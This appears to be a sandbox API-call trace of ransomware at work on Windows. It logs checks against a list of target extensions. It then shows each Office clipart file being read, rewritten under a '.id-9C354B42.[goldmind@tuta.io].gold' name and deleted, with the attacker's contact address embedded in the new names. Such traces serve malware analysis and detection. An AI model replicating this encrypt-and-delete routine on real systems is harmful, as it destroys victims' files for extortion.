[0110.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0110.948] lstrlenW (lpString=".zip") returned 4 [0110.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.948] lstrlenW (lpString=".rar") returned 4 [0110.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.948] lstrlenW (lpString=".bz2") returned 4 [0110.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.948] lstrlenW (lpString=".7z") returned 3 [0110.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0110.948] lstrlenW (lpString=".dbf") returned 4 [0110.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0110.948] lstrlenW (lpString=".1cd") returned 4 [0110.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0110.948] lstrlenW (lpString=".jpg") returned 4 [0110.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.948] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.948] lstrlenW (lpString="J0153518.WMF") returned 12 [0110.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0110.949] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=12528) returned 1 [0110.949] CloseHandle (hObject=0x3b8) returned 1 [0110.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf")) returned 0x20 [0110.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0110.949] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.949] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0110.950] GetLastError () returned 0x0 [0110.950] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x30f0, lpOverlapped=0x0) returned 1 [0110.951] WriteFile (in: hFile=0x3bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x3100, lpOverlapped=0x0) returned 1 [0110.952] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.952] WriteFile (in: hFile=0x3bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.952] SetEndOfFile (hFile=0x3bc) returned 1 [0110.952] CloseHandle (hObject=0x3bc) returned 1 [0110.953] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.953] SetEndOfFile (hFile=0x3b8) returned 1 [0110.954] CloseHandle (hObject=0x3b8) returned 1 [0110.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf")) returned 1 [0110.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0110.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0110.955] lstrlenW (lpString=".doc") returned 4 [0110.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.955] lstrlenW (lpString=".docx") returned 5 [0110.955] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0110.955] lstrlenW (lpString=".pdf") returned 4 [0110.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.955] lstrlenW (lpString=".xls") returned 4 [0110.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.955] lstrlenW (lpString=".xlsx") returned 5 [0110.955] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0110.955] lstrlenW (lpString=".ppt") returned 4 [0110.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0110.956] lstrlenW (lpString=".zip") returned 4 [0110.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.956] lstrlenW (lpString=".rar") returned 4 [0110.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.956] lstrlenW (lpString=".bz2") returned 4 [0110.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.956] lstrlenW (lpString=".7z") returned 3 [0110.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0110.956] lstrlenW (lpString=".dbf") returned 4 [0110.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0110.956] lstrlenW (lpString=".1cd") returned 4 [0110.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0110.956] lstrlenW (lpString=".jpg") returned 4 [0110.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0110.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0110.956] lstrlenW (lpString=".doc") returned 4 [0110.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.956] lstrlenW (lpString=".docx") returned 5 [0110.956] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0110.956] lstrlenW (lpString=".pdf") returned 4 [0110.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.956] lstrlenW (lpString=".xls") returned 4 [0110.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.956] lstrlenW (lpString=".xlsx") returned 5 [0110.956] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0110.956] lstrlenW (lpString=".ppt") returned 4 [0110.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0110.956] lstrlenW (lpString=".zip") returned 4 [0110.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.956] lstrlenW (lpString=".rar") returned 4 [0110.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.956] lstrlenW (lpString=".bz2") returned 4 [0110.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.956] lstrlenW (lpString=".7z") returned 3 [0110.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0110.956] lstrlenW (lpString=".dbf") returned 4 [0110.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0110.975] lstrlenW (lpString=".1cd") returned 4 [0110.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0110.975] lstrlenW (lpString=".jpg") returned 4 [0110.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.975] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.975] lstrlenW (lpString="J0156537.WMF") returned 12 [0110.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.073] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1376) returned 1 [0111.073] CloseHandle (hObject=0x19c) returned 1 [0111.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf")) returned 0x20 [0111.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0111.120] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.120] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.125] GetLastError () returned 0x0 [0111.125] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x560, lpOverlapped=0x0) returned 1 [0111.174] WriteFile (in: hFile=0x19c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x570, lpOverlapped=0x0) returned 1 [0111.175] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.175] WriteFile (in: hFile=0x19c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.175] SetEndOfFile (hFile=0x19c) returned 1 [0111.175] CloseHandle (hObject=0x19c) returned 1 [0111.176] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.176] SetEndOfFile (hFile=0x3d0) returned 1 [0111.177] CloseHandle (hObject=0x3d0) returned 1 [0111.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf")) returned 1 [0111.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0111.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0111.178] lstrlenW (lpString=".doc") returned 4 [0111.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString=".docx") returned 5 [0111.179] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0111.179] lstrlenW (lpString=".pdf") returned 4 [0111.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString=".xls") returned 4 [0111.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.179] lstrlenW (lpString=".xlsx") returned 5 [0111.179] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0111.179] lstrlenW (lpString=".ppt") returned 4 [0111.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0111.179] lstrlenW (lpString=".zip") returned 4 [0111.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.179] lstrlenW (lpString=".rar") returned 4 [0111.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString=".bz2") returned 4 [0111.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString=".7z") returned 3 [0111.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0111.179] lstrlenW (lpString=".dbf") returned 4 [0111.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0111.179] lstrlenW (lpString=".1cd") returned 4 [0111.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0111.179] lstrlenW (lpString=".jpg") returned 4 [0111.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0111.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0111.179] lstrlenW (lpString=".doc") returned 4 [0111.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString=".docx") returned 5 [0111.179] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0111.179] lstrlenW (lpString=".pdf") returned 4 [0111.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString=".xls") returned 4 [0111.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.179] lstrlenW (lpString=".xlsx") returned 5 [0111.179] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0111.179] lstrlenW (lpString=".ppt") returned 4 [0111.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0111.179] lstrlenW (lpString=".zip") returned 4 [0111.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.179] lstrlenW (lpString=".rar") returned 4 [0111.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString=".bz2") returned 4 [0111.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.179] lstrlenW (lpString=".7z") returned 3 [0111.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0111.179] lstrlenW (lpString=".dbf") returned 4 [0111.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0111.180] lstrlenW (lpString=".1cd") returned 4 [0111.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0111.180] lstrlenW (lpString=".jpg") returned 4 [0111.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.180] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.180] lstrlenW (lpString="J0168644.WMF") returned 12 [0111.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0111.180] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=20906) returned 1 [0111.180] CloseHandle (hObject=0x3d0) returned 1 [0111.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf")) returned 0x20 [0111.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0111.181] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.181] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.182] GetLastError () returned 0x0 [0111.182] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x51aa, lpOverlapped=0x0) returned 1 [0111.215] WriteFile (in: hFile=0x19c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x51b0, lpOverlapped=0x0) returned 1 [0111.216] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.217] WriteFile (in: hFile=0x19c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.217] SetEndOfFile (hFile=0x19c) returned 1 [0111.273] CloseHandle (hObject=0x19c) returned 1 [0111.273] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.273] SetEndOfFile (hFile=0x3d0) returned 1 [0111.275] CloseHandle (hObject=0x3d0) returned 1 [0111.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf")) returned 1 [0111.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0111.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0111.276] lstrlenW (lpString=".doc") returned 4 [0111.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.276] lstrlenW (lpString=".docx") returned 5 [0111.276] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0111.276] lstrlenW (lpString=".pdf") returned 4 [0111.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.276] lstrlenW (lpString=".xls") returned 4 [0111.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.276] lstrlenW (lpString=".xlsx") returned 5 [0111.276] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0111.276] lstrlenW (lpString=".ppt") returned 4 [0111.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0111.276] lstrlenW (lpString=".zip") returned 4 [0111.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.276] lstrlenW (lpString=".rar") returned 4 [0111.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.276] lstrlenW (lpString=".bz2") returned 4 [0111.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.276] lstrlenW (lpString=".7z") returned 3 [0111.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0111.276] lstrlenW (lpString=".dbf") returned 4 [0111.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0111.276] lstrlenW (lpString=".1cd") returned 4 [0111.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0111.276] lstrlenW (lpString=".jpg") returned 4 [0111.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0111.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0111.277] lstrlenW (lpString=".doc") returned 4 [0111.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.277] lstrlenW (lpString=".docx") returned 5 [0111.277] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0111.277] lstrlenW (lpString=".pdf") returned 4 [0111.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.277] lstrlenW (lpString=".xls") returned 4 [0111.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.277] lstrlenW (lpString=".xlsx") returned 5 [0111.277] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0111.277] lstrlenW (lpString=".ppt") returned 4 [0111.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0111.277] lstrlenW (lpString=".zip") returned 4 [0111.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.277] lstrlenW (lpString=".rar") returned 4 [0111.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.277] lstrlenW (lpString=".bz2") returned 4 [0111.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.277] lstrlenW (lpString=".7z") returned 3 [0111.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0111.277] lstrlenW (lpString=".dbf") returned 4 [0111.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 